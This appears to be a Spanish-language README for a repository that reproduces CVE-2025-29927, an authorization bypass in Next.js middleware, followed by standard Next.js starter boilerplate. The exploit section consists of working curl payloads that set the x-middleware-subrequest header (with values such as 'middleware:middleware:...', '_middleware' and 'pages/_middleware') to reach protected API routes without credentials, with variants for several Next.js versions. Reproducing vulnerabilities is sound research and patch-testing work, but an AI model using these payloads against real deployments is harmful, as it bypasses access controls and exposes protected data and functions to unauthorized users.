
Reproducción de la omisión de autorización CVE-2025-29927 en middleware de Next.js, con payloads de explotación basados en curl para múltiples versiones.
Este repositorio es una reproducción de la vulnerabilidad CVE-2025-29927 en el paquete next
/api/hello$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5 veces en el encabezado especial x-middleware-subrequest:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Las versiones 12 y 13 de Next.js solían tener una convención de nomenclatura diferente para el archivo de middleware (_middleware.js), que se cambió a middleware.js en Next.js 14. Esta vulnerabilidad se puede explotar en versiones antiguas utilizando el archivo _middleware.js.
Por ejemplo, los siguientes payloads se aplicarían, dependiendo de la versión de Next.js y tu convención de enrutamiento:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (para versiones 12.2 de Next.js con el archivo middleware.js en la raíz de la aplicación, no dentro del directorio pages)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (para versiones 11 a 12.2 de Next.js)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloPrimero, ejecuta el servidor de desarrollo:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
Abre http://localhost:3000 en tu navegador para ver el resultado.
Puedes empezar a editar la página modificando app/page.js. La página se actualiza automáticamente mientras editas el archivo.
Este proyecto utiliza next/font para optimizar y cargar automáticamente Geist, una nueva familia de fuentes para Vercel.
Para obtener más información sobre Next.js, echa un vistazo a los siguientes recursos:
Puedes consultar el repositorio de Next.js en GitHub - ¡tus comentarios y contribuciones son bienvenidos!
La forma más sencilla de desplegar tu aplicación Next.js es usar la plataforma Vercel de los creadores de Next.js.
Consulta nuestra documentación de despliegue de Next.js para más detalles.